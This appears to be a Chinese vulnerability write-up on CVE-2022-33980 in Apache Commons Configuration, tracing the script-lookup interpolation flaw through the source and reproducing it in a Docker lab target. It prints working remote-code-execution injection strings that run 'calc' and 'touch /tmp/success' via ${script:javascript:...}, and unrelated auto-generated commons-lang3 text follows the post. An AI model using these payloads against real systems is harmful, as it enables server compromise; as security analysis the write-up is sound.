Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

0x01 漏洞简介

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

0x02 影响版本

2.4 <= Apache Commons Configuration <=2.7

0x03 环境搭建

使用docker拉去镜像: docker pull vultarget/apache_commons_configuration2_rce-cve_2022_33980

运行环境,随机映射端口:docker run -d -P vultarget/apache_commons_configuration2_rce-cve_2022_33980

查看端口开放情况:docker ps -a

访问8080端口映射的端口就是网站首页

在这里插入图片描述

0x04 漏洞分析

  1. 进入靶机环境:docker exec -it eb /bin/bash
  2. 将靶机中打包的ROOT.war文件拉去到本机中:docker cp /usr/local/tomcat/webapps/ROOT.war /home/test
  3. 解压文件,会看到网站打包好的源码
  4. 使用idea生成一个web项目,将里面的文件导入到生成的项目中,配置tomcat就可以再本机调试

根据官方给出的漏洞通报

https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

在这里插入图片描述

Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位org.apache.common.configuration2.interpol的实例。执行插值的查找。从2.4版开始,一直到2.7版,这组默认查找实例包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找包括:

-“script”-使用JVM脚本执行引擎(javax.script)执行表达式

-“dns”-解析dns记录

-“url”-从url(包括远程服务器)加载值

如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器无意接触的攻击。

明白这个CVE的漏洞点是在变量插值中造成的
那么什么是变量插值呢?
commons-configuration2来说,变量插值,就类似于引用动态变量的方式,就好比,如果我们需要获取系统中的某个环境变量,我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录,同样可以通过${sys:user.home}
我们可以跟进一下源码,看看这种写法是在哪里解析的
他主要是在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中对这种写法进行解析,赋予其对应的值

在这里插入图片描述

从注释中我们可以知道对于变量的插值,如果这个值他是字符串类型的,他将会检查时候包含有变量,如果有,将会替换这个变量,如果没有就按照源String返回

所以我们同样可以通过使用该方法进行变量插值的使用

package pers.test_01;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();
        //创建示例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析字符串
        System.out.println("${env:JAVA_HOME}->" + configurationInterpolator.interpolate("${env:JAVA_HOME}"));

    }
}

我们从之前的漏洞通告可以知道,由script将会导致JVM脚本执行,我们debug分析一下他的流程

#poc
System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->" + configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate方法中打下断点

在这里插入图片描述

传入了变量插值的值,首先判断他是否是String的实例,之后将会调用looksLikeSingleVariable方法进行判断格式是否正确,开始为${ 结束为 }
在这里插入图片描述

之后成功达到了resolveSingleVariable的调用

在这里插入图片描述

我们跟进extractVariableName方法,在该方法中,他将去掉${}等字符,取出变量值

在这里插入图片描述

之后调用resolve进行处理,在该方法中,他将分别取出prefix name value字段
在这里插入图片描述

通过调用fetchLookupForPrefix方法传入prefix,取出对应的LookUp对象
在这里插入图片描述

直接从prefixLookups这个Map对象属性中获取对应的StringLookupAdapter
之后我们紧跟着调用了lookup方法

在这里插入图片描述

这里也可以知道对应的stringLookup为ScriptLookup类对象,跟进其lookup方法的调用

他首先会通过:将其进行分隔开来,并判断了其格式,再分别取出了engineNamescript之后,将会在后面通过调用getEngineByName方法的调用传入engineName,得到了scriptEngineNashormScriptEngine

在这里插入图片描述

带入了script和context对象继续调用eval方法,而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

在这里插入图片描述

最后在java.lang.Runtime.getRuntime().exec()方法打下断电,就可以查看到完整的调用栈

在这里插入图片描述

0x05 漏洞复现

访问映射的端口,发现有一个输入框

在这里插入图片描述

输入命令${script:javascript:java.lang.Runtime.getRuntime().exec("touch /tmp/success")}查看服务器中,已经生成了目录

在这里插入图片描述

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
### 回答1: org.apache.commons commons-lang3-3.1是一个Apache软件基金会中的一个实用程序库。它包含了大量的实用工具类和方法,使Java开发人员可以更快、更方便地编写Java代码。在这个库中,开发人员可以找到很多常用的功能,例如字符串操作、日期和时间处理、随机数生成、数组操作、文件操作、数学计算等等。通过这个库,我们可以快速地实现各种功能,提高我们的开发效率。 下载org.apache.commons commons-lang3-3.1非常简单。可以在Apache官网上进行下载,也可以在Maven中央仓库中下载。只需要将对应的jar包加入到我们的工程中即可使用。通过使用Org.apache.commons commons-lang3-3.1这个工具集,我们可以在Java开发中更加得心应手,更加高效地完成开发任务,为我们的项目赢得更多的成功。 ### 回答2: org.apache.commons commons-lang3-3.1是一个Apache软件基金会提供的开源Java类库,主要提供了一系列通用的工具类和方法,用于字符串处理、日期处理、基本类型转换等常用操作,简化了Java开发过程中的一些常见任务。 下载这个类库可以到Apache官网的下载页面进行下载,并且也可在Maven仓库中通过依赖的方式引入。使用时只需要将其添加到Java项目的classpath中即可。 这个版本的commons-lang3包含了很多实用的工具类和方法,比如StringUtils类可以方便地处理字符串的格式化、剪切、替换、分割等操作;DateUtils类提供了对日期和时间的各种处理,包括格式化、加减、比较等等;ArrayUtils类提供了对数组的各种操作,包括复制、添加、查找等等。这些工具类的使用可以大大简化Java开发的工作量,提高代码的可读性和可维护性。 总的来说,org.apache.commons commons-lang3-3.1是一个非常实用的Java类库,推荐给Java开发者使用。 ### 回答3: org.apache.commons commons-lang3-3.1是一个基于Java语言编写的开源软件库。它包含了一系列通用的工具类、方法和实用函数,可以帮助开发者更加高效地完成各种Java应用程序的开发工作。 这个开源软件库主要包含了字符串处理、文件处理、日期时间处理、随机数生成、对象操作、反射等多个方面的功能模块。在实际开发中,我们可以直接引入这个软件库,并调用其中封装好的方法和函数,来完成一些常规性的编码任务。 org.apache.commons commons-lang3-3.1的下载方式是在Apache官网上进行下载。我们可以在官网上找到相应的下载链接,并选择适用于当前开发环境的版本进行下载。下载后,我们需要将其集成到当前的Java应用程序中,并在代码中引入相关的依赖库和包,才能顺利使用其中的功能模块。 总之,org.apache.commons commons-lang3-3.1是一个常用的Java开源软件库,封装了多种常用的工具类、方法和实用函数,可以大大简化Java程序的开发过程。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值